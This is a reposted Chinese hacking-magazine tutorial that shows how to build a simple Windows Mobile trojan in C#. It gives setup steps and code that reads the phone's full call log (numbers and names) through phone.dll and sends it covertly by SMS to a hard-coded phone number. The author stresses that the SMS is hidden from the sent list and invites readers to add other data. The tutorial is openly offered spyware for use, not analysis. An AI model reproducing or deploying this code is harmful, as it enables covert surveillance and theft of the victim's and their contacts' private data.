打造简单手机通话记录获取木马


打造简单手机通话记录获取木马
masepu(本文已发表于黑客防线,转载请注明出处)

随着移动通信的不断发展,手机的性能不断提升,所拥有的功能也越来越丰富。以前只有PC机上才能够完成的工作现在在很多智能手机上也可以轻松完成。而市场上的智能手机操作系统都提供了方便的编程接口和开发环境。特别是windows CE操作系统,它最大限度的继承了桌面版windows操作系统的丰富功能,同时又融入了许多新的特性,具有良好的网络通信、图形管理和多媒体管理等功能。虽然是新的操作系统环境,但是其开发环境和语言却与桌面版windows操作系统非常相似。今天我们要写的这个程序就是在VS.net2005下采用C#来开发,程序的功能是通过短信息将手机通话记录隐蔽发送至指定的手机上,以实现一个简单的敏感信息获取木马。现在我们就开始对采用windows mobile操作系统的智能手机进行编程,打造一个属于自己的简单手机木马。
第一步,我们必须在电脑上搭建好Windows CE软件的开发和测试环境,先后步骤如下:
首先安装Visual Studio 2005 TRM (开发主工具 ),
其次安装ActiveSync 4.5 Developer Preview (微软的同步软件可以同时支持PPC和微软智能手机之间通信,用于仿真机数据传输测试),
再次安装Windows Mobile 5.0 SDK for PocketPC (PPC开发SDK);
最后安装Windows Mobile 5.0 Emulator Images (Windows Mobile 5.0中文仿真模拟器,如果你打算在手机上直接测试,可以略过此步骤)。(以上软件可在互联网上下载)。
安装成功后可以打开Visual Studio 2005编译器,可以在“新建工程”—〉“智能设备”中找到“widnows mobile 5.0 pocket PC”的新建项目。选择“控制台应用程序”,建立一个新的项目。下面我们就对程序的功能进行代码实现。
首先我们来获得手机的全部通话记录。在.net compact framework中,没有直接获取用户通话记录的函数,只能通过封装底层API来实现获得通话记录的功能。相关底层API函数位于phone.dll中,我们使用从phone.dll 库导入的PhoneGetCallLogEntry方法。该函数返回一个通话记录结构,在该结构中,包含号码、姓名、通话开始时间、通话结束时间等信息。在我们调用此API之前,首先要PhoneOpenCallLog打开通话记录句柄,同时在操作结束后,要调用PhoneCloseCallLog关闭句柄,具体代码如下:
        IntPtr handle = IntPtr.Zero;
CALLLOGENTRY entry = new CALLLOGENTRY();
        PhoneOpenCallLog(ref handle);
        entry.cbSize = (uint)Marshal.SizeOf(entry);
if (handle != IntPtr.Zero)
        {
          while (PhoneGetCallLogEntry(handle, ref entry) == 0)
          {
string phoneNumber = Marshal.PtrToStringUni(entry.pszNumber);//通话记录电话号码
              string name = Marshal.PtrToStringUni(entry.pszName);//通话记录电话人名
if (phoneNumber == null)
              {  phoneNumber = string.Empty;}
              if (name == null)
              {name = string.Empty;}
string temp = (phoneNumber.Trim() + name.Trim());
              CallInfo = CallInfo + temp;
           }
           PhoneCloseCallLog(handle);

下面将存储在CallInfo字符串变量中的通话记录通过短消息发送出来。发送短信的方式采取这种方法隐式发送。不会出现在已发送短信列表中,隐蔽一些。
Microsoft.WindowsMobile.PocketOutlook.SmsMessage sms = new SmsMessage("151608XXXXX", CallInfo.Substring(0, 140)); //这里为了测试不想发太多条就用限制字数的方式只发送了一条
sms.Send();  //发送
}
这样我们的简单手机木马就写完了,实现了获得通话记录并发送到指定手机上的功能。想要获取其他的信息大家可以继续往里添加。以上代码在visual studio 2005中编译通过。在使用windows mobile 6 professional CE 操作系统5.2.1238版本的多普达S1手机上测试成功。完整代码见附件。

 

你可能感兴趣的:(黑客技术,手机,windows,mobile,测试,string,手机操作系统)